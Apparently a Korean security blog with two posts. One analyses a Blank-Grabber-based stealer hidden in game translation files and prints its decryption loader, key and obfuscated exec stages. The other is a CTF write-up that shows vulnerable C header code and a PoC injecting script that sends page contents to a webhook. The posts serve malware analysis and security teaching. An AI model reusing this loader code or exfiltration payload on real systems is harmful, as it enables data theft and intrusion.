[작성자:] 동 헌희

  • 아카라이브 심야식당 채널 트로이목마 분석

    주의: 해당 글은 교육 및 공익적 목적으로 작성되었으며, 작성자는 각국 법률이 허용하는 범위 내에서 모든 책임을 부인합니다.

    요약: https://github.com/Blank-c/Blank-Grabber 를 활용한 악성코드입니다.

    아카라이브 심야식당 트로이목마

    아카라이브 심야식당은 성인 게임등을 한국어로 번역하여 유포하는 아카라이브의 채널입니다.

    작년 2024년 12월에 심야식당 채널에 몇몇 해외 성인 게임 한국어 번역 파일에 트로이 목마가 심어져 있다는 사실이 밝혀져 논란이 되었습니다.

    바이러스 고의 유포 업데이트 (20241214) – 심야식당 채널

    ※ 해당 파일은 당시 파일이 공유되던 Kiosk 운영진과 접촉해 조치를 취했습니다.

    현재 바이러스 대란터진 아카라이브 어느 채널 – DogDrip.Net 개드립

    특히, 해당 채널에서 공유되는 게임 실행 파일은 DLL Injection 등의 공격 방식을 활용해서 번역되기에 Windows Defender와 같은 백신 소프트웨어가 오탐하는 경우가 잦았습니다.
    따라서 해당 채널의 사용자는 백신 소프트웨어를 비활성화한 상태로 사용하는 경우가 잦아 피해 규모가 확대된 것으로 사료됩니다.

    VirusTotal

    VirusTotal 검사 결과를 보면 Game.exe가 악성 코드로 분류됨을 알 수 있습니다.

    간단하게 strings를 통해 모든 문자열을 보면 PyInstaller라는 문구를 찾을 수 있습니다.
    pyinstxtractor-ng를 사용하면 어렵지 않게 언팩할 수 있습니다.

    수많은 파일 중 수상한 파일(ddbdafb8-8fc8-4deb-beaa-4f8ae539a203.pyc)이 보입니다.

    타 파일들은 파이썬 실행또는 관련 라이브러리이기에 관련이 없어보입니다.

    pyc 파일은 컴파일된 파이썬 코드이기에 적당한 도구로 디컴파일을 할 필요가 있습니다.

    import os
    import sys
    import base64
    import zlib
    from pyaes import AESModeOfOperationGCM
    from zipimport import zipimporter
    zipfile = os.path.join(sys._MEIPASS, 'blank.aes')
    module = 'stub-o'
    key = base64.b64decode('iGwKuFAdNWb+LYUdlcLrwpWOHKDcW7z+nnOuVeyzVYU=')
    iv = base64.b64decode('w3QT6A25Dmk5WBT6')
    
    def decrypt(key, iv, ciphertext):
        return AESModeOfOperationGCM(key, iv).decrypt(ciphertext)
    if os.path.isfile(zipfile):
        with open(zipfile, 'rb') as f:
            ciphertext = f.read()
        ciphertext = zlib.decompress(ciphertext[::-1])
        decrypted = decrypt(key, iv, ciphertext)
        with open(zipfile, 'wb') as f:
            f.write(decrypted)
        zipimporter(zipfile).load_module(module)

    같은 디랙토리에 있는 blank.aes를 복호화함을 알 수 있습니다.

    그냥 실행만 안하고 복호화하는 부분까지만 실행해주면 됩니다.

    import base64
    import zlib
    from pyaes import AESModeOfOperationGCM
    zipfile = 'blank.aes'
    key = base64.b64decode('iGwKuFAdNWb+LYUdlcLrwpWOHKDcW7z+nnOuVeyzVYU=')
    iv = base64.b64decode('w3QT6A25Dmk5WBT6')
    
    def decrypt(key, iv, ciphertext):
        return AESModeOfOperationGCM(key, iv).decrypt(ciphertext)
    with open(zipfile, 'rb') as f:
        ciphertext = f.read()
    ciphertext = zlib.decompress(ciphertext[::-1])
    decrypted = decrypt(key, iv, ciphertext)
    with open(zipfile + 'dec', 'wb') as f:
        f.write(decrypted)

    stub-o.pyc 파일이 있음을 알 수 있습니다.

    pyc를 디스어셈블리 해보면 바이너리 값이 너무 길기에 일반적인 디컴파일 유틸리티로는 디컴파일이 어렵습니다.

    def _nlJKwOSg():
        try:
            __________ = __import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((90, 88, 90, 104, 98, 65, 61, 61)).decode())
            ___________ = getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((90, 50, 86, 48, 89, 88, 82, 48, 99, 103, 61, 61)).decode())
            _______________ = getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 119, 61, 61)).decode())
            ________________ = getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((89, 110, 108, 48, 90, 88, 77, 61)).decode())
            ____________ = lambda: None  # <CODE> <lambda>
            ________ = b'[large binary]'
            _________ = ___________(__________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 89, 110, 86, 112, 98, 72, 82, 112, 98, 110, 77, 105, 75, 81, 61, 61)).decode()), ________________(bytes((98, 71, 108, 122, 100, 65, 61, 61)).decode())))))
            if not ___________(__________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 98, 72, 112, 116, 89, 83, 73, 112)).decode()), ________________(bytes((90, 88, 104, 108, 89, 119, 61, 61)).decode())), ____________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 98, 51, 77, 105, 75, 81, 61, 61)).decode()), ________________(bytes((88, 50, 86, 52, 97, 88, 81, 61)).decode()))), 0):
               pass
        except Exception as _:
            ___________(__________, ___________(_______________, ________________(getattr(__import__(bytes((98, 97, 115, 101, 54, 52)).decode()).b64decode(bytes((98, 54, 52, 100, 101, 99, 111, 100, 101)).decode()), bytes((88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 121, 103, 105, 98, 72, 112, 116, 89, 83, 73, 112)).decode()), ________________(bytes((84, 70, 112, 78, 81, 85, 86, 121, 99, 109, 57, 121)).decode()))))

    문법이 안맞지만 Gemini 1.5 Pro의 도움을 받아 대략적인 로직을 파악했습니다.

    여기서 겁먹지 말고 한땀한땀 난독화를 해제하면 엄청 긴 바이너리를 lzma로 압축을 해제하는 것을 알 수 있습니다.

    import lzma
    bin = b'[대충 아주 길고 큰 바이너리]';
    dec = lzma.decompress(bin)
    with open('tmp_out.py', 'wb') as f:
        f.write(dec)

    이제 압축 해제된 결과물을 보면 다시한번 난독화가 되어있습니다.

    열심히 스크롤을 내려서 실제 로직을 찾아보면, 아래와 같습니다.

    __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 110, 86, 112, 98, 72, 82, 112, 98, 110, 77, 61])).decode()).exec(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([98, 87, 70, 121, 99, 50, 104, 104, 98, 65, 61, 61])).decode()).loads(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 50, 57, 107, 90, 87, 78, 122])).decode()).decode(____, __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode("cm90MTM=").decode())+_____+______[::-1]+_______)))

    겁이 나지만 조금 더 자세히 보면 loads가 호출되는 것이 보입니다.

    따라서 marshal.loads라는 가정을 하고 코드를 보면 앞에 난독화된 부분은 실제 실행을 하는 부분이라는 생각을 할 수 있습니다.
    exec(marshal.loads(...)) 이런 코드라 볼 수 있습니다.

    marshal — Internal Python object serialization Python 3.12.8 문서

    loads까지 짤라서 변수에 담고 파일로 저장해봅시다.

    code = __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 50, 57, 107, 90, 87, 78, 122])).decode()).decode(____, __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode("cm90MTM=").decode())+_____+______[::-1]+_______)
    
    with open('tmp_out.pyc', 'wb') as f:
        f.write(code)

    안타깝게도 헤더가 없어 디컴파일이 안됩니다.

    바이너리에 임베드된 Python 버전인 Python 3.12 file magic과 null 12바이트를 Header로 추가해주면 됩니다.

    GitHub – Blank-c/Blank-Grabber: The most powerful stealer written in Python 3 and packed with a lot of features. 여기를 그대로 가져다 쓴 것 같습니다.

    조금 분석해보면 fake 오류창을 띄우는 것을 알 수 있습니다.

    아카쿠비 투기장 Ver1.05c Kr on Zelyx

    DLL 초기화 루틴을 실행할 수 없습니다.

    CC 서버로는 텔레그램을 활용하고 있습니다.

    해당 봇의 텔레그램 API 토큰이 있으며, 6821665221 ID를 가진 대화방에 수집한 정보를 전송합니다.

    해당 대화방의 사용자는 @OdeTo2025(UID: 6821665221)임을 알 수 있습니다.
    ※작성 시점 기준 탈퇴한 사용자입니다.

    By 동헌희(@honey/honey@sandwich.dev)

  • 2024 겨울방학 캐스퍼 정회원 CTF WEB – 우두머리

    요약하자면, 간단한 HTTP Header Injection 문제입니다.

    문제에는

    1. C로 구현된 정적인 본문을 반환하는 HTTP 서버
    2. Secure 속성이 설정된 flag 쿠키에 flag를 담아 사용자가 지정한 경로에 접속하는 admin bot의 코드가 포함되어 있습니다.

    따라서 단순 XSS 만으로는 쿠키를 가져올 수 없음을 알 수 있습니다.

    아무런 쿠키나 담고 접속해보면 다음과 같은 응답을 주는 것을 알 수 있습니다.

    HTTP/1.1 200 OK
    Content-Type: text/html; charset=utf-8
    X-Requested-Path: /
    Set-Cookie: test=value; HttpOnly; Secure
    
    <html><head><title>Simple HTTP Server</title></head><body><h1>Hello, World!</h1></body></html>

    이러한

    1. HTTP/1.1에서 Header와 Body는 \r\n\r\n으로 구분됩니다.
    2. 요청 경로를 담는 X-Requested-Path Header가 있습니다.
    3. 그 아래에 서버는 Set-Cookie 헤더를 통해 클라이언트에 쿠키를 설정합니다.

    HTTP Header Injection 문제임을 유추하기 위해서 X-Requested-Path가 어떻게 처리되는지 봐야합니다.

    char* path = decode_url(req->path);
    // 중략
    set_status(resp, HTTP_OK);
    add_header(resp, "Content-Type", "text/html; charset=utf-8");
    add_header(resp, "X-Requested-Path", path);

    요청 경로를 디코드하고 add_header 함수를 통해 X-Requested-Path에 경로를 추가함을 알 수 있습니다.

    그럼 add_header가 어떻게 구현되는지 봐야 할 것입니다.

    void add_header(http_response* resp, const char* key, const char* value) {
        char header[1024*2];
        snprintf(header, sizeof(header), "%s: %s\r\n", key, value);
        strcat(resp->headers, header);
    }

    이스케이프 처리를 별도로 하지 않는 것을 알 수 있습니다.

    따라서 요청 경로에 \r\n\r\n을 삽입하여 뒤이어 오는 Set-Cookie 등의 헤더를 body로 인식되게 만들어 XSS와 조합하여 Flag를 얻어올 수 있음을 알 수 있습니다.

    잘 작동합니다!

    import urllib.parse
    import requests
    
    def main():
        webhook_site = 'https://webhook.site/[...]'
        payload = '\r\n\r\n<script>window.onload=()=>fetch("'+webhook_site+'?"+btoa(document.body.innerHTML))</script>'
        url = 'http://chall.infrafor.us:2001/' + urllib.parse.quote(payload)
        response = requests.get(url)
        print(response.text)
    
    if __name__ == '__main__':
        main()

    간단한 PoC 코드를 작성했습니다.

    base64 decode를 하면 flag를 얻을 수 있습니다.

    Set-Cookie: flag=CASPER{HTTP_He@d3r_1nj@cti0n}; HttpOnly; Secure
    
    <title>Simple HTTP Server</titleO’[ËÛܛOÚO

    Flag: CASPER{HTTP_He@d3r_1nj@cti0n}

    By 동헌희(@honey/honey@sandwich.dev)